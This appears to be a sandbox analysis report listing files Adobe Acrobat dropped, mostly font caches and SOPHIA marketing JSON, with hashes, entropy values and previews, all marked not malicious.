Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5200

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.383907013318427
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJM3g98kUwPeUkwRe9:YvXKXbqyUitoxGMbLUkee9
MD5:	E2CB8643A32F58008B779CD94820FEAF
SHA1:	5721072A783B07250CEE0736CF7569A436D83B9E
SHA-256:	E8E4C4AD037E445528B9E2BE297EA233BD95960956171AC3FD3B8D8E1D3E6EC9
SHA-512:	B48255BFEF29E4227AF749C308343A3CC6186C6571E343D3817740BA70F2E10934F473C97A701830FA25887BD04727BDBFE834E04A17DFF4849BF17CE5D87FF7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.328179584016663
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfBoTfXpnrPeUkwRe9:YvXKXbqyUitoxGWTfXcUkee9
MD5:	125970C7838A47E6F8E3AEA01ADBBEA4
SHA1:	5FB6FFC853A7563BF95F79B8106C329661182792
SHA-256:	C6C6AFB38BD4B250AFBA54DFA44D32C6CCCFBD943293B722EDDC88CF085F1EB3
SHA-512:	9AACBFC0D1BA90E7FC1069894A6DDF96995DAF021FAF6B9AF2519F88DD62F6179D67470ACE45B549B2A4A265072EF997EF88D21131B7441C8D1A3E8874D19F33
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.307174619411739
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfBD2G6UpnrPeUkwRe9:YvXKXbqyUitoxGR22cUkee9
MD5:	FFD9EC6064598AFF529171E4AC450FC8
SHA1:	2E611AEB6C30CC11BFC3494D01EEA4CD1F954F6D
SHA-256:	FEC2F89B71D4AA594EE61417EFA849DD30C82B7E017BFE61FFEFB6074FFD35C9
SHA-512:	101B404DD1CF8310A7DB9D1FF8520DF426B1A5AF5EE9C7800E4F6F456D601410A9D92E0C8D2C7DF61E86ED90BB501DF8A1CFB4C3E73E1A2D2B5324D6F6590CC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.375306353996495
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfPmwrPeUkwRe9:YvXKXbqyUitoxGH56Ukee9
MD5:	C5179F2DD7FC047EF865DE1A08D1514C
SHA1:	44CAED39A5795B7FDE0BA8C85825CCAABD1A305C
SHA-256:	9FD5B7818DF2009126EEFEC3C9A3E13A95BFDD11C54D5BC4C671BF52BED42914
SHA-512:	CBBA68FE454765DBF71B6B05291492CEB6241E9713DB593811259E398E356F16438376343633B74F9A8104150DAE8FBC77892068AB495532BC40D8CCDB5BE6B3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691786644998008
Encrypted:	false
SSDEEP:	24:Yv6XbqC62pLgE9cQx8LennAvzBvkn0RCmK8czOCCSJ:YvYf62hgy6SAFv5Ah8cv/J
MD5:	BCF2C5E14FA785A547C213FEE7A337F3
SHA1:	EC92D9A77107F0AAB4BEF20C388D89BA7144E4E1
SHA-256:	78F2E2940F8D7B3D3FE7B2EAD89FEA7DDAE4E0E9AD1C74D5EB966E0C7B087392
SHA-512:	663DD714DA56B9D1C1E986F55DC885706DCCC8E9B3195BF6D277A81A96304B9BBB121F83257C4343BFE390AD51822AC15FE151A7E08041D8A3770529B2CC6F6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3218997902436564
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJf8dPeUkwRe9:YvXKXbqyUitoxGU8Ukee9
MD5:	8F1E66B335E629D755789761A0F2791C
SHA1:	534BE6AE7FC915529A459A2F7D9BB8A965656508
SHA-256:	9C0522418C9088CF0EED38BC2DB19CF472D839739E171CE81F2BFEAF16A957D7
SHA-512:	880B6C9BD9170F0D0B2839AB554E942FF5B23BA4C8AF567E76E736A4B6A0ACD141038D2EF360360EE2449AA402F93F76CFC77CADFC5FBF587F9BA0B7C4D16EB3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.322648191816608
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfQ1rPeUkwRe9:YvXKXbqyUitoxGY16Ukee9
MD5:	9DDA2E4C483A71DA73D4C6E251AF1539
SHA1:	EAA4A257374B3AC257845ABCA17EE3956F01E8E1
SHA-256:	5B37912DEF6C1172611F2B629213274CB87B8AD721509B004B0C63606BF60EF1
SHA-512:	49F56FCD5C2DFB4B85C40E0292CABEE8CDC412C760CEAE5B23B1F77B478FEE8420BF6869F28259765FD4279BE519CD2C6B94304FBFE9B359252225D563B45704
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330702836514755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfFldPeUkwRe9:YvXKXbqyUitoxGz8Ukee9
MD5:	BA21B785D482C1B652DF63D196029848
SHA1:	83BC5FB56DA5ED645C4FF1EDBF1388E4832F99B5
SHA-256:	65A3B17ABEBD124BC8EF3A5764F880602026A9E3538A96E0865FBC9AEB849FC2
SHA-512:	BBBCE66FFBD1307C8DF0A7326DE8F94ECC7E351FD103F6A6E6F7E4039AED9F0A8433C0314B84674128C7C9016A1B5859535A6641314F302E660DA8E384EFD839
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346483645073345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfzdPeUkwRe9:YvXKXbqyUitoxGb8Ukee9
MD5:	69A253AD2412D1F0B3F28454922343DB
SHA1:	A93B2CF39E858F7315A4B938E909F9A80F004B3B
SHA-256:	3DEA87B7AC2CD768A8030024FF633A8ABA52F3DB0FE7950EA5F0A0AA0F4E0C77
SHA-512:	F6AB1256E4837E2FB42CDFA10DA3CCC95C96187C6A2308715CBFFFAC35CB5751BA30A4DFBB9503E7DD0FD94DD7E221842F3937279FF019B3ADCDED7995C8B18C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.327690433331215
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfYdPeUkwRe9:YvXKXbqyUitoxGg8Ukee9
MD5:	D8BED7379A6501DB139DC4143F91F144
SHA1:	AC43D3C321E5B738E3F19EF8174290D56B382A38
SHA-256:	D4C8F24C08B5E95A8B6A55ECB3C8D937A2614563866E0D164B5D383B6CE225F7
SHA-512:	0E8B695EAD1211CCC09A8106F330BE4702D65AE7D4F63C264A9BBD178624BCAF6CBDB9AC977F847777A39AB82C73147BDEE9C3515402665B514B239C45F5D2F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.3145273047108
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJf+dPeUkwRe9:YvXKXbqyUitoxG28Ukee9
MD5:	C171B6F78E46516F8105C08617BA580C
SHA1:	4C4F6F604B8BCFEB31FA66EC44E1BA7B5871E41A
SHA-256:	6978525283EE1A30113B0BFD1CB693E09D0D10C0DB0DCD982B44E078A2A40B32
SHA-512:	6EDC5BFA3EF6558898DB454C4E3E8290243A43FC4A9B309841BC40FDC65DC9A49E87D25B408AB4B474A9202682891245575E54E79888DC92D3E6D6157BD7D406
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.311047218748506
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfbPtdPeUkwRe9:YvXKXbqyUitoxGDV8Ukee9
MD5:	70532EEEB86046E0F0D75D2B879F13DC
SHA1:	970A3EDEB60417EFB80C8488E01234CBCD8AF176
SHA-256:	AF696565398F32D2E5728EAF9EFF9836CE3D7E569A90EA6902187AD4CC705FC8
SHA-512:	557EE83522D0946014541B6724806626E7D85429B6E025157431FC189BB77A7F55950782D1204AD49A2587BE8765A9D21EE01594460D029B1B942C234FBDB32B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.313103714980637
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJf21rPeUkwRe9:YvXKXbqyUitoxG+16Ukee9
MD5:	326C7F449386C7EB99248AA32A2D59CD
SHA1:	90986F7C5BBD3D1C067B9F6969096FFD9924D1AE
SHA-256:	848F849ADCBECFB87AFF2B8DBF256EFDCAD348FDAF0FC1D2DE806963ED45EBF6
SHA-512:	4F5E819B1371EBAA7E7A21D43033AE51FD81072EDAED6D82F3DBACB42C18FAB99A9088E52E524D91C1E5233C5BED7603212477AC3D61ED928CE5BA9EE4A80862
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667690911129827
Encrypted:	false
SSDEEP:	24:Yv6XbqC6qamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJ:YvYf6kBgkDMUJUAh8cvMJ
MD5:	C516BED64E4B229DF7157384E00BBE2A
SHA1:	1750F5C5C7A708BA7D31CD66FE022F478516EB0B
SHA-256:	58D84AB0CFE1837D6A981F85087ECFC27245D0DF186C4B26FEA6CAEBC49A5D4B
SHA-512:	D8325D0C1AE96460AE3BB4E9412AE98D91C4C72A4DBDE002D6A8B98C7EC105FF0CFC226A316E6F4792D359FAD5F9C19A6B71CB4A776897599A9ECBC09B70674F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.290106715301271
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJfshHHrPeUkwRe9:YvXKXbqyUitoxGUUUkee9
MD5:	A56EB3755165F16DA4FD81B71CD8A846
SHA1:	1D58A06E5FDFFF5C95F9F8D2DB1ED9FCE72E03B2
SHA-256:	3F50A1353CCA73253E5CA906FC281752B2645A025F6D9EF4FD53FB4F202743B3
SHA-512:	6318B66B0124EB3BC45F6441DFFFC3E7B33FEB85880BBCD4166B1A9A174CBD5D9572DFB8969199C0DC1163AB7F23A4C3691F1D8649A8826823949A7E63D0B04D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.296675576445528
Encrypted:	false
SSDEEP:	6:YEQXJ2HXbCBDyUib5Glvp0YTqoAvJTqgFCrPeUkwRe9:YvXKXbqyUitoxGTq16Ukee9
MD5:	825A8FB5C0636F945BB682FEBDAFF215
SHA1:	9B01E5EEE0140459683B35F346F3D244563BEEC2
SHA-256:	AC6135218DC476062D24D9E51BC5B6914A54C49E5624C07C81AF0AC0A7DD6AAA
SHA-512:	61BCE90DAEDE89634117A1C6816555895DBD65B9B60C05D068A51CF2D38506FABCA0D9A68B46829525332C4F0603A5E3142D5324BAC18470582AA3BDD7F5AD30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8840b8f-da39-445c-a9f3-61479e2d6bf6","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736738125912,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139808177927547
Encrypted:	false
SSDEEP:	24:YTEA7a+ayeKPMIxJfFouW2u+Nb9PjR4j0SPfh31HCaC2NL2LSPRC+kG5AKXngLB9:Y4AffPIDkcjPkE10Y9f9U
MD5:	83016E61A81CF09AB9DEA8B5075D7527
SHA1:	26D547A460E49F665ED19228E0499174840C9C37
SHA-256:	E494BC8A523BC981AA1A7F74397DAEC40072979073E757DDE21592A16224E321
SHA-512:	8790C16D901AB101073CEA7850642DC46B2095536934C80E1FB8FD8166AD669D68EE1A26D44AAFDAE8733BD5EA933C433BA382636838943D790093E0CC909B29
Malicious:	false
